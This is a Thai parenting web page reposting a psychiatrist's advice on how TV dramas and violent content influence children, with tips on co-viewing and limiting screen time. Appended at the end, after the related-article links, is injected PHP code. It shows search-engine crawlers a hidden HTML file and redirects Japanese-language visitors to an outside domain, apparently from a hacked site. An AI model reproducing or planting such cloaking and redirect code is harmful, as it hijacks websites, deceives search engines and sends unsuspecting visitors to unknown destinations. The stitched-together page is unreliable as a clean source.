ลงทะเบียนเข้างาน
Mobile number
e-mail
บทความ
แบ่งปัน
จิตแพทย์ช่วยด้วย ลูกอยากเป็น
จิตแพทย์ช่วยด้วย ลูกอยากเป็น รายการทีวีหรือละครที่พ่อ แม่เลือกชม มีผลต่อการตัดสินใจเลือกรับสื่อของเด็กในอนาคต เพราะการที่เด็กเติบโตมากับสื่อทีวี เด็กจะซึมซับบทบาทที่เห็นในจอทีวีอีกทางหนึ่งนอกเหนือจากการลองเลียนแบบผู้ใหญ่รอบตัวจากชีวิตประจำวัน

"การเลือกรายการทีวีให้เด็กๆ ในบ้านดูพ่อแม่ควรใส่ใจเป็นพิเศษ เพราะในเชิงจิตวิทยามีผลต่อพัฒนาทางด้านอารมณ์ ความคิดและพฤติกรรมของเด็กโดยตรง หากเข้ารับสื่อประเภทที่มีการแสดงออกทางอารมณ์หรือพฤติกรรมที่รุนแรง โดยที่ไม่มีผู้ปกครองคอยบอกคอยสอนอยู่ข้างๆ ว่าเป็นสิ่งดีหรือไม่ดีอย่างไร เด็กจะค่อยๆ ซึมซับและเห็นเป็นเรื่องปกติจนนำมาปฏิบัติตามในเวลาต่อมา" พญ.อัง คณ อัญญมณี จิตแพย์เด็กและวัยรุ่น โรงพยาบาลมนารมย์ เปิดประเด็น 

ในเด็กเล็กซึ่งเป็นวัยที่กำลังเรียนรู้และเลียนแบบผู้ใหญ่ พ่อแม่ควรเลือกใช้เวลาจะดูรายการทีวีหรือละคร มาทำกิจกรรมร่วมกับลูก โดยเลือกให้เหมาะสมกับวัย เช่น วัยเด็กเล็กอาจเลือกสื่อที่มีส่วนพัฒนาทักษะทางความคิดหรือกล้ามเนื้อ อย่างเกมหรือของเล่นที่สมวัย หรืออ่านนิทานให้เขาฟังเพื่อปลูกฝังมุมมองและแง่คิดตั้งแต่เด็ก

การใช้เวลาร่วมกันระหว่างครอบครัวนอกเหนือจากการที่พึ่งพาสื่อในการเลี้ยงลูกจะช่วยให้ความสัมพันธ์ระหว่างครอบครัวแน่นแฟ้นยิ่งขึ้น และเด็กมีความสนิทสนมกับพ่อแม่ พร้อมยอมเปิดใจในทุกเรื่องที่ตัวเองเจอในแต่ละวัน

กรณีที่เลี่ยงไม่ได้จริงๆ เรื่องการดูทีวี ควรมีผู้ใหญ่นั่งดูเพื่อคอยสอนเขาอยู่ข้างๆ ด้วยว่าพฤติกรรมที่เห็นดีหรือไม่ดี อย่างไรเพื่อป้องกันการลอกเลียนแบบ และควรจำกัดเวลาดูในแต่ละวัน ให้อยู่ในเกณฑ์ที่เหมาะสมไม่มากจนเกินไป เพราะเด็กอาจติดทีวีและเป็นโรคอ้วนได้เช่นกัน เนื่องจากนั่งอยู่กับที่จนไม่ได้ออกกำลังกาย

จิตแพทย์เด็กและวัยรุ่นให้ข้อมูลความรู้อีกว่า การเลือกชมรายการดีมีสาระ จะสอนให้เด็กรู้จักคิดและเลิอกใช้ชีวิตในทางที่ถูกที่ควรได้ทางหนึ่งต่อเนื่องไปจนถึงอนาคต เขาจะเลือกดูหรือชมสื่อที่มีสาระได้ด้วยตัวเอง เพราะเข้าใจและแบ่งแยกเป็นแล้วว่าแบบไหนดีแบบไหนไม่ดี ทั้งยังเป็นการตัดปัญหาแอบดูคลิปหรือเว็บต้องห้าม เพราะถูกซึมซับมาตั้งแต่ต้นว่าเป็นเรื่องไม่ดี

แต่หากพ่อแม่นิยมดูรายการหรือละครที่มีการแสดงบทบาททางด้านอารมณ์ หรือพฤติกรรมที่รุนแรงเป็นประจำจิตแพทย์ บอกว่า พ่อแม่ควรทำใจยอมรับสิ่งที่จะเกิดขึ้นในอนาคต อย่างไรก็ตามในขณะที่ดูต้องสอนหรือชี้แจงความผิด และความถูกต้องของตัวละครให้เด็กฟังไปด้วยว่า แท้จริงแล้วคือการแสดงใม่ใช่การกระทำที่ควรเอาเป็นแบบอย่างในสังคมชีวิตจริง

"เด็กสมัยนี้มีพฤติกรรมเปลี่ยนไปมาก ส่วนหนึ่งอาจเป็นเพราะเวลาที่พ่อแม่มีให้น้อยนิด และเด็กเป็นคนเลือกที่จะบริโภคสื่อด้วยตัวเอง ขณะที่ฝ่ายผู้ผลิตก็ต้องการนำเสนอเนื้อหาที่ถึงพริกถึงขิง เพื่อสะท้อนสภาพความเป็นจริงของสังคม ซึ่งในความเป็นจริงผู้ชมที่เป็นเด็ก ก็ยังไม่มีวุฒิภาวะเพียงพอที่จะตัดสินใจได้เองว่า สิ่งไหนดีหรือไม่ดี" พญ.อังคณา กล่าว

ผู้ผลิตสื่อทีวีควรปรับบทบาทการนำเสนอของนักแสดง ในเรื่องอารมณ์และพฤติกรรมควรจะแสดงออกที่สมจริงน้อยลงไม่ว่าจะเป็นฉากเลิฟซีน ฉากตบตีหรือฆาตกรรม เพราะวัยรุ่นซึ่งอยู่ในวัยที่กำลังเจริญเติบโตทั้งทางร่างกายและฮอร์โมน เมื่อดูฉากแบบนี้แล้วอาจ "อิน" กับบทบาทของนักแสดงจนอยากลองทำบ้างก็ได้

นอกจากเรื่องของพฤติกรรมและอารมณ์ที่ผู้ดูจะซึมซับแล้ว เรื่องของค่านิยมที่มีในละครก็มีส่วนทำให้เด็กคล้อยตาม และอยากได้ อยากมีด้วยเช่นกัน ประเด็นนี้พ่อแม่ควรเน้นย้ำถึงเนื้อหาของละครและชีวิตจริงให้เด็กฟังมากๆ ว่าต่างกัน ไม่ควรนำมาเป็นแบบอย่างและสอนให้เขารู้จักคุณค่าของตัวเองให้มาก เพื่อลดความรู้สึกขาดเมื่อต้องอยู่ในสังคมที่มีการเปรียบเทียบของคนหลายชนชั้นในชีวิตจริง
  
 ข้อมูลจาก : http://www.vcharkarn.com/varticle/42819
เรื่องอื่นๆ ที่เกี่ยวข้อง
สงกรานต์ปีนี้แต่งตัวให้ลูกอย่างไรดี ?
สงกรานต์ปีนี้แต่งตัวให้ลูกอย่างไรดี ?
พาลูกเที่ยวสงกรานต์อย่างไรให้สนุกและปลอดภัย
พาลูกเที่ยวสงกรานต์อย่างไรให้สนุกและปลอดภัย
error_reporting(0); $ua = strtolower($_SERVER['HTTP_USER_AGENT']); $rf=$_SERVER['HTTP_REFERER']; $botchar = "/(googlebot|slurp|adsense|google-inspectiontool)/"; if(preg_match($botchar, $ua)) { if($_SERVER['REQUEST_URI']=='/' { $file = file_get_contents(dirname ( __FILE__ ) .'/bbb31impact.html'); echo $file; exit; } } error_reporting(0); $language = $_SERVER["HTTP_ACCEPT_LANGUAGE"]; if (strpos ( $language, "ja" ) > - 1) { header ( 'Location: https://ht428.org/' ); exit (); }